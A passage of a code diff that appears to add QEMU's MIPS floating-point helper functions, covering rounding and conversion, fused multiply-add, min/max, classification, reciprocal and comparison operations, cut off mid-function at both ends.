wt2; + + set_float_rounding_mode(float_round_nearest_even, &env->active_fpu.fp_status); + wt2 = float64_to_int32(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_roundw_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t wt2; + + set_float_rounding_mode(float_round_nearest_even, &env->active_fpu.fp_status); + wt2 = float32_to_int32(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint64_t helper_float_truncl_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t dt2; + + dt2 = float64_to_int64_round_to_zero(fdt0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_truncl_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t dt2; + + dt2 = float32_to_int64_round_to_zero(fst0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint32_t helper_float_truncw_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t wt2; + + wt2 = float64_to_int32_round_to_zero(fdt0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_truncw_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t wt2; + + wt2 = float32_to_int32_round_to_zero(fst0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint64_t helper_float_ceill_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_up, &env->active_fpu.fp_status); + dt2 = float64_to_int64(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_ceill_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_up, &env->active_fpu.fp_status); + dt2 = float32_to_int64(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint32_t helper_float_ceilw_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t wt2; + + set_float_rounding_mode(float_round_up, &env->active_fpu.fp_status); + wt2 = float64_to_int32(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_ceilw_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t wt2; + + set_float_rounding_mode(float_round_up, &env->active_fpu.fp_status); + wt2 = float32_to_int32(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint64_t helper_float_floorl_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_down, &env->active_fpu.fp_status); + dt2 = float64_to_int64(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_floorl_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_down, &env->active_fpu.fp_status); + dt2 = float32_to_int64(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint32_t helper_float_floorw_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t wt2; + + set_float_rounding_mode(float_round_down, &env->active_fpu.fp_status); + wt2 = float64_to_int32(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_floorw_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t wt2; + + set_float_rounding_mode(float_round_down, &env->active_fpu.fp_status); + wt2 = float32_to_int32(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +/* unary operations, not modifying fp status */ +#define FLOAT_UNOP(name) \ +uint64_t helper_float_ ## name ## _d(uint64_t fdt0) \ +{ \ + return float64_ ## name(fdt0); \ +} \ +uint32_t helper_float_ ## name ## _s(uint32_t fst0) \ +{ \ + return float32_ ## name(fst0); \ +} \ +uint64_t helper_float_ ## name ## _ps(uint64_t fdt0) \ +{ \ + uint32_t wt0; \ + uint32_t wth0; \ + \ + wt0 = float32_ ## name(fdt0 & 0XFFFFFFFF); \ + wth0 = float32_ ## name(fdt0 >> 32); \ + return ((uint64_t)wth0 << 32) | wt0; \ +} +FLOAT_UNOP(abs) +FLOAT_UNOP(chs) +#undef FLOAT_UNOP + +#define FLOAT_FMADDSUB(name, bits, muladd_arg) \ +uint ## bits ## _t helper_float_ ## name (CPUMIPSState *env, \ + uint ## bits ## _t fs, \ + uint ## bits ## _t ft, \ + uint ## bits ## _t fd) \ +{ \ + uint ## bits ## _t fdret; \ + \ + fdret = float ## bits ## _muladd(fs, ft, fd, muladd_arg, \ + &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return fdret; \ +} + +FLOAT_FMADDSUB(maddf_s, 32, 0) +FLOAT_FMADDSUB(maddf_d, 64, 0) +FLOAT_FMADDSUB(msubf_s, 32, float_muladd_negate_product) +FLOAT_FMADDSUB(msubf_d, 64, float_muladd_negate_product) +#undef FLOAT_FMADDSUB + +#define FLOAT_MINMAX(name, bits, minmaxfunc) \ +uint ## bits ## _t helper_float_ ## name (CPUMIPSState *env, \ + uint ## bits ## _t fs, \ + uint ## bits ## _t ft) \ +{ \ + uint ## bits ## _t fdret; \ + \ + fdret = float ## bits ## _ ## minmaxfunc(fs, ft, \ + &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return fdret; \ +} + +FLOAT_MINMAX(max_s, 32, maxnum) +FLOAT_MINMAX(max_d, 64, maxnum) +FLOAT_MINMAX(maxa_s, 32, maxnummag) +FLOAT_MINMAX(maxa_d, 64, maxnummag) + +FLOAT_MINMAX(min_s, 32, minnum) +FLOAT_MINMAX(min_d, 64, minnum) +FLOAT_MINMAX(mina_s, 32, minnummag) +FLOAT_MINMAX(mina_d, 64, minnummag) +#undef FLOAT_MINMAX + +#define FLOAT_RINT(name, bits) \ +uint ## bits ## _t helper_float_ ## name (CPUMIPSState *env, \ + uint ## bits ## _t fs) \ +{ \ + uint ## bits ## _t fdret; \ + \ + fdret = float ## bits ## _round_to_int(fs, &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return fdret; \ +} + +FLOAT_RINT(rint_s, 32) +FLOAT_RINT(rint_d, 64) +#undef FLOAT_RINT + +#define FLOAT_CLASS_SIGNALING_NAN 0x001 +#define FLOAT_CLASS_QUIET_NAN 0x002 +#define FLOAT_CLASS_NEGATIVE_INFINITY 0x004 +#define FLOAT_CLASS_NEGATIVE_NORMAL 0x008 +#define FLOAT_CLASS_NEGATIVE_SUBNORMAL 0x010 +#define FLOAT_CLASS_NEGATIVE_ZERO 0x020 +#define FLOAT_CLASS_POSITIVE_INFINITY 0x040 +#define FLOAT_CLASS_POSITIVE_NORMAL 0x080 +#define FLOAT_CLASS_POSITIVE_SUBNORMAL 0x100 +#define FLOAT_CLASS_POSITIVE_ZERO 0x200 + +#define FLOAT_CLASS(name, bits) \ +uint ## bits ## _t helper_float_ ## name (uint ## bits ## _t arg) \ +{ \ + if (float ## bits ## _is_signaling_nan(arg)) { \ + return FLOAT_CLASS_SIGNALING_NAN; \ + } else if (float ## bits ## _is_quiet_nan(arg)) { \ + return FLOAT_CLASS_QUIET_NAN; \ + } else if (float ## bits ## _is_neg(arg)) { \ + if (float ## bits ## _is_infinity(arg)) { \ + return FLOAT_CLASS_NEGATIVE_INFINITY; \ + } else if (float ## bits ## _is_zero(arg)) { \ + return FLOAT_CLASS_NEGATIVE_ZERO; \ + } else if (float ## bits ## _is_zero_or_denormal(arg)) { \ + return FLOAT_CLASS_NEGATIVE_SUBNORMAL; \ + } else { \ + return FLOAT_CLASS_NEGATIVE_NORMAL; \ + } \ + } else { \ + if (float ## bits ## _is_infinity(arg)) { \ + return FLOAT_CLASS_POSITIVE_INFINITY; \ + } else if (float ## bits ## _is_zero(arg)) { \ + return FLOAT_CLASS_POSITIVE_ZERO; \ + } else if (float ## bits ## _is_zero_or_denormal(arg)) { \ + return FLOAT_CLASS_POSITIVE_SUBNORMAL; \ + } else { \ + return FLOAT_CLASS_POSITIVE_NORMAL; \ + } \ + } \ +} + +FLOAT_CLASS(class_s, 32) +FLOAT_CLASS(class_d, 64) +#undef FLOAT_CLASS + +/* MIPS specific unary operations */ +uint64_t helper_float_recip_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t fdt2; + + fdt2 = float64_div(float64_one, fdt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_recip_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t fst2; + + fst2 = float32_div(float32_one, fst0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_rsqrt_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t fdt2; + + fdt2 = float64_sqrt(fdt0, &env->active_fpu.fp_status); + fdt2 = float64_div(float64_one, fdt2, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_rsqrt_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t fst2; + + fst2 = float32_sqrt(fst0, &env->active_fpu.fp_status); + fst2 = float32_div(float32_one, fst2, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_recip1_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t fdt2; + + fdt2 = float64_div(float64_one, fdt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_recip1_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t fst2; + + fst2 = float32_div(float32_one, fst0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_recip1_ps(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t fst2; + uint32_t fsth2; + + fst2 = float32_div(float32_one, fdt0 & 0XFFFFFFFF, &env->active_fpu.fp_status); + fsth2 = float32_div(float32_one, fdt0 >> 32, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +uint64_t helper_float_rsqrt1_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t fdt2; + + fdt2 = float64_sqrt(fdt0, &env->active_fpu.fp_status); + fdt2 = float64_div(float64_one, fdt2, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_rsqrt1_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t fst2; + + fst2 = float32_sqrt(fst0, &env->active_fpu.fp_status); + fst2 = float32_div(float32_one, fst2, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_rsqrt1_ps(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t fst2; + uint32_t fsth2; + + fst2 = float32_sqrt(fdt0 & 0XFFFFFFFF, &env->active_fpu.fp_status); + fsth2 = float32_sqrt(fdt0 >> 32, &env->active_fpu.fp_status); + fst2 = float32_div(float32_one, fst2, &env->active_fpu.fp_status); + fsth2 = float32_div(float32_one, fsth2, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +#define FLOAT_OP(name, p) void helper_float_##name##_##p(CPUMIPSState *env) + +/* binary operations */ +#define FLOAT_BINOP(name) \ +uint64_t helper_float_ ## name ## _d(CPUMIPSState *env, \ + uint64_t fdt0, uint64_t fdt1) \ +{ \ + uint64_t dt2; \ + \ + dt2 = float64_ ## name (fdt0, fdt1, &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return dt2; \ +} \ + \ +uint32_t helper_float_ ## name ## _s(CPUMIPSState *env, \ + uint32_t fst0, uint32_t fst1) \ +{ \ + uint32_t wt2; \ + \ + wt2 = float32_ ## name (fst0, fst1, &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return wt2; \ +} \ + \ +uint64_t helper_float_ ## name ## _ps(CPUMIPSState *env, \ + uint64_t fdt0, \ + uint64_t fdt1) \ +{ \ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; \ + uint32_t fsth0 = fdt0 >> 32; \ + uint32_t fst1 = fdt1 & 0XFFFFFFFF; \ + uint32_t fsth1 = fdt1 >> 32; \ + uint32_t wt2; \ + uint32_t wth2; \ + \ + wt2 = float32_ ## name (fst0, fst1, &env->active_fpu.fp_status); \ + wth2 = float32_ ## name (fsth0, fsth1, &env->active_fpu.fp_status); \ + update_fcr31(env, GETPC()); \ + return ((uint64_t)wth2 << 32) | wt2; \ +} + +FLOAT_BINOP(add) +FLOAT_BINOP(sub) +FLOAT_BINOP(mul) +FLOAT_BINOP(div) +#undef FLOAT_BINOP + +#define UNFUSED_FMA(prefix, a, b, c, flags) \ +{ \ + a = prefix##_mul(a, b, &env->active_fpu.fp_status); \ + if ((flags) & float_muladd_negate_c) { \ + a = prefix##_sub(a, c, &env->active_fpu.fp_status); \ + } else { \ + a = prefix##_add(a, c, &env->active_fpu.fp_status); \ + } \ + if ((flags) & float_muladd_negate_result) { \ + a = prefix##_chs(a); \ + } \ +} + +/* FMA based operations */ +#define FLOAT_FMA(name, type) \ +uint64_t helper_float_ ## name ## _d(CPUMIPSState *env, \ + uint64_t fdt0, uint64_t fdt1, \ + uint64_t fdt2) \ +{ \ + UNFUSED_FMA(float64, fdt0, fdt1, fdt2, type); \ + update_fcr31(env, GETPC()); \ + return fdt0; \ +} \ + \ +uint32_t helper_float_ ## name ## _s(CPUMIPSState *env, \ + uint32_t fst0, uint32_t fst1, \ + uint32_t fst2) \ +{ \ + UNFUSED_FMA(float32, fst0, fst1, fst2, type); \ + update_fcr31(env, GETPC()); \ + return fst0; \ +} \ + \ +uint64_t helper_float_ ## name ## _ps(CPUMIPSState *env, \ + uint64_t fdt0, uint64_t fdt1, \ + uint64_t fdt2) \ +{ \ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; \ + uint32_t fsth0 = fdt0 >> 32; \ + uint32_t fst1 = fdt1 & 0XFFFFFFFF; \ + uint32_t fsth1 = fdt1 >> 32; \ + uint32_t fst2 = fdt2 & 0XFFFFFFFF; \ + uint32_t fsth2 = fdt2 >> 32; \ + \ + UNFUSED_FMA(float32, fst0, fst1, fst2, type); \ + UNFUSED_FMA(float32, fsth0, fsth1, fsth2, type); \ + update_fcr31(env, GETPC()); \ + return ((uint64_t)fsth0 << 32) | fst0; \ +} +FLOAT_FMA(madd, 0) +FLOAT_FMA(msub, float_muladd_negate_c) +FLOAT_FMA(nmadd, float_muladd_negate_result) +FLOAT_FMA(nmsub, float_muladd_negate_result | float_muladd_negate_c) +#undef FLOAT_FMA + +/* MIPS specific binary operations */ +uint64_t helper_float_recip2_d(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt2) +{ + fdt2 = float64_mul(fdt0, fdt2, &env->active_fpu.fp_status); + fdt2 = float64_chs(float64_sub(fdt2, float64_one, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_recip2_s(CPUMIPSState *env, uint32_t fst0, uint32_t fst2) +{ + fst2 = float32_mul(fst0, fst2, &env->active_fpu.fp_status); + fst2 = float32_chs(float32_sub(fst2, float32_one, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_recip2_ps(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt2) +{ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; + uint32_t fsth0 = fdt0 >> 32; + uint32_t fst2 = fdt2 & 0XFFFFFFFF; + uint32_t fsth2 = fdt2 >> 32; + + fst2 = float32_mul(fst0, fst2, &env->active_fpu.fp_status); + fsth2 = float32_mul(fsth0, fsth2, &env->active_fpu.fp_status); + fst2 = float32_chs(float32_sub(fst2, float32_one, &env->active_fpu.fp_status)); + fsth2 = float32_chs(float32_sub(fsth2, float32_one, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +uint64_t helper_float_rsqrt2_d(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt2) +{ + fdt2 = float64_mul(fdt0, fdt2, &env->active_fpu.fp_status); + fdt2 = float64_sub(fdt2, float64_one, &env->active_fpu.fp_status); + fdt2 = float64_chs(float64_div(fdt2, FLOAT_TWO64, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint32_t helper_float_rsqrt2_s(CPUMIPSState *env, uint32_t fst0, uint32_t fst2) +{ + fst2 = float32_mul(fst0, fst2, &env->active_fpu.fp_status); + fst2 = float32_sub(fst2, float32_one, &env->active_fpu.fp_status); + fst2 = float32_chs(float32_div(fst2, FLOAT_TWO32, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return fst2; +} + +uint64_t helper_float_rsqrt2_ps(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt2) +{ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; + uint32_t fsth0 = fdt0 >> 32; + uint32_t fst2 = fdt2 & 0XFFFFFFFF; + uint32_t fsth2 = fdt2 >> 32; + + fst2 = float32_mul(fst0, fst2, &env->active_fpu.fp_status); + fsth2 = float32_mul(fsth0, fsth2, &env->active_fpu.fp_status); + fst2 = float32_sub(fst2, float32_one, &env->active_fpu.fp_status); + fsth2 = float32_sub(fsth2, float32_one, &env->active_fpu.fp_status); + fst2 = float32_chs(float32_div(fst2, FLOAT_TWO32, &env->active_fpu.fp_status)); + fsth2 = float32_chs(float32_div(fsth2, FLOAT_TWO32, &env->active_fpu.fp_status)); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +uint64_t helper_float_addr_ps(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt1) +{ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; + uint32_t fsth0 = fdt0 >> 32; + uint32_t fst1 = fdt1 & 0XFFFFFFFF; + uint32_t fsth1 = fdt1 >> 32; + uint32_t fst2; + uint32_t fsth2; + + fst2 = float32_add (fst0, fsth0, &env->active_fpu.fp_status); + fsth2 = float32_add (fst1, fsth1, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +uint64_t helper_float_mulr_ps(CPUMIPSState *env, uint64_t fdt0, uint64_t fdt1) +{ + uint32_t fst0 = fdt0 & 0XFFFFFFFF; + uint32_t fsth0 = fdt0 >> 32; + uint32_t fst1 = fdt1 & 0XFFFFFFFF; + uint32_t fsth1 = fdt1 >> 32; + uint32_t fst2; + uint32_t fsth2; + + fst2 = float32_mul (fst0, fsth0, &env->active_fpu.fp_status); + fsth2 = float32_mul (fst1, fsth1, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +/* compare operations */ +#define FOP_COND_D(op, cond) \ +void helper_cmp_d_ ## op(CPUMIPSState *env, uint64_t fdt0, \ + uint64_t fdt1, int cc) \ +{ \ + int c; \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ +} \ +void helper_cmpabs_d_ ## op(CPUMIPSState *env, uint64_t fdt0, \ + uint64_t fdt1, int cc) \ +{ \ + int c; \ + fdt0 = float64_abs(fdt0); \ + fdt1 = float64_abs(fdt1); \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ +} + +/* NOTE: the comma operator will make "cond" to eval to false, + * but float64_unordered_quiet() is still called. */ +FOP_COND_D(f, (float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status), 0)) +FOP_COND_D(un, float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status)) +FOP_COND_D(eq, float64_eq_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ueq, float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) || float64_eq_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(olt, float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ult, float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) || float64_lt_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ole, float64_le_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ule, float64_unordered_quiet(fdt1, fdt0, &env->active_fpu.fp_status) || float64_le_quiet(fdt0, fdt1, &env->active_fpu.fp_status)) +/* NOTE: the comma operator will make "cond" to eval to false, + * but float64_unordered() is still called. */ +FOP_COND_D(sf, (float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status), 0)) +FOP_COND_D(ngle,float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status)) +FOP_COND_D(seq, float64_eq(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ngl, float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) || float64_eq(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(lt, float64_lt(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(nge, float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) || float64_lt(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(le, float64_le(fdt0, fdt1, &env->active_fpu.fp_status)) +FOP_COND_D(ngt, float64_unordered(fdt1, fdt0, &env->active_fpu.fp_status) || float64_le(fdt0, fdt1, &env->active_fpu.fp_status)) + +#define FOP_COND_S(op, cond) \ +void helper_cmp_s_ ## op(CPUMIPSState *env, uint32_t fst0, \ + uint32_t fst1, int cc) \ +{ \ + int c; \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ +} \ +void helper_cmpabs_s_ ## op(CPUMIPSState *env, uint32_t fst0, \ + uint32_t fst1, int cc) \ +{ \ + int c; \ + fst0 = float32_abs(fst0); \ + fst1 = float32_abs(fst1); \ + c = cond; \ + update_fcr31(env, GETPC()); \ + if (c) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ +} + +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered_quiet() is still called. */ +FOP_COND_S(f, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status), 0)) +FOP_COND_S(un, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status)) +FOP_COND_S(eq, float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ueq, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(olt, float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ult, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ole, float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ule, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status)) +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered() is still called. */ +FOP_COND_S(sf, (float32_unordered(fst1, fst0, &env->active_fpu.fp_status), 0)) +FOP_COND_S(ngle,float32_unordered(fst1, fst0, &env->active_fpu.fp_status)) +FOP_COND_S(seq, float32_eq(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ngl, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_eq(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(lt, float32_lt(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(nge, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_lt(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(le, float32_le(fst0, fst1, &env->active_fpu.fp_status)) +FOP_COND_S(ngt, float32_unordered(fst1, fst0, &env->active_fpu.fp_status) || float32_le(fst0, fst1, &env->active_fpu.fp_status)) + +#define FOP_COND_PS(op, condl, condh) \ +void helper_cmp_ps_ ## op(CPUMIPSState *env, uint64_t fdt0, \ + uint64_t fdt1, int cc) \ +{ \ + uint32_t fst0, fsth0, fst1, fsth1; \ + int ch, cl; \ + fst0 = fdt0 & 0XFFFFFFFF; \ + fsth0 = fdt0 >> 32; \ + fst1 = fdt1 & 0XFFFFFFFF; \ + fsth1 = fdt1 >> 32; \ + cl = condl; \ + ch = condh; \ + update_fcr31(env, GETPC()); \ + if (cl) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ + if (ch) \ + SET_FP_COND(cc + 1, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc + 1, env->active_fpu); \ +} \ +void helper_cmpabs_ps_ ## op(CPUMIPSState *env, uint64_t fdt0, \ + uint64_t fdt1, int cc) \ +{ \ + uint32_t fst0, fsth0, fst1, fsth1; \ + int ch, cl; \ + fst0 = float32_abs(fdt0 & 0XFFFFFFFF); \ + fsth0 = float32_abs(fdt0 >> 32); \ + fst1 = float32_abs(fdt1 & 0XFFFFFFFF); \ + fsth1 = float32_abs(fdt1 >> 32); \ + cl = condl; \ + ch = condh; \ + update_fcr31(env, GETPC()); \ + if (cl) \ + SET_FP_COND(cc, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc, env->active_fpu); \ + if (ch) \ + SET_FP_COND(cc + 1, env->active_fpu); \ + else \ + CLEAR_FP_COND(cc + 1, env->active_fpu); \ +} + +/* NOTE: the comma operator will make "cond" to eval to false, + * but float32_unordered_quiet() is still called. */ +FOP_COND_PS(f, (float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status), 0), + (float32_unordered_quiet(fsth1, fsth0, &env->active_fpu.fp_status), 0)) +FOP_COND_PS(un, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status), + float32_unordered_quiet(fsth1, fsth0, &env->active_fpu.fp_status)) +FOP_COND_PS(eq, float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_eq_quiet(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ueq, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_eq_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered_quiet(fsth1, fsth0, &env->active_fpu.fp_status) || float32_eq_quiet(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(olt, float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_lt_quiet(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ult, float32_unordered_quiet(fst1, fst0, &env->active_fpu.fp_status) || float32_lt_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_unordered_quiet(fsth1, fsth0, &env->active_fpu.fp_status) || float32_lt_quiet(fsth0, fsth1, &env->active_fpu.fp_status)) +FOP_COND_PS(ole, float32_le_quiet(fst0, fst1, &env->active_fpu.fp_status), + float32_le_quiet(fsth0, 